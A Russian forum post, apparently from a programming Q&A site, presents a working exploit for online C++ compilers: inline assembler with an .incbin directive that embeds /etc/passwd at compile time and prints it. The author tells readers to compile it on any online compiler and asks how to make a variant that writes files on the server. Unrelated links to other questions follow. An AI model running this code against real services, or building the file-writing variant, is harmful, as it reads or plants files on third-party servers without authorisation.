Exploit под Online IDE компиляторы на C++

455
19 декабря 2016, 19:44

Всем привет)

Может быть некоторые знают такие, например compileonline.com

Вообщем остается один вопрос, защищенность данных сервисов.

Впрочем, все в округ да около.

Есть данный эксплойт:

#include <stdio.h>
extern "C"
asm(
    ".global _data\n"
    ".data\n"
    "_data:\n"
    ".incbin \"/etc/passwd\"\n"
    ".byte 0"
);
extern const char _data;
const char* data = &_data;
int main() {
   printf("%s", data);
}

Тут во время компиляции вызывается ассемблерная функция incbin, которая в свою очередь на момент компиляции запускает либо читает сторонний файл, в данном эксплойте происходит чтение файла etc/passwd.

Для того, что бы эксплуатировать уязвимость, необходимо в любом онлайн компиляторе скомпилировать выше показанный код под языком C++

А теперь вопрос: вот хотелось бы узнать, есть ли эквивалент данной ассемблерной функции, только не читающий, а создающий определенные файлы?

READ ALSO
Стоит ли использовать Qt C++?

Стоит ли использовать Qt C++?

Всем привет, около месяца пишу на C++ и вот появилась мысль попробовать Qt, тем более он кроссплатформенный

244
Как указать связи между указателями и исходными данными?

Как указать связи между указателями и исходными данными?

При сериализации в boost::serialization можно записать вектор std::vector<int> base;

261
Произвольное чтение из файла

Произвольное чтение из файла

Например есть файл размером 1ГБ, как получить участок данных из него находящиеся где то посередине не читая его полностью

280
Утечки памяти в OpenCV

Утечки памяти в OpenCV

У меня в проекте есть такие строчки кода(с++):

292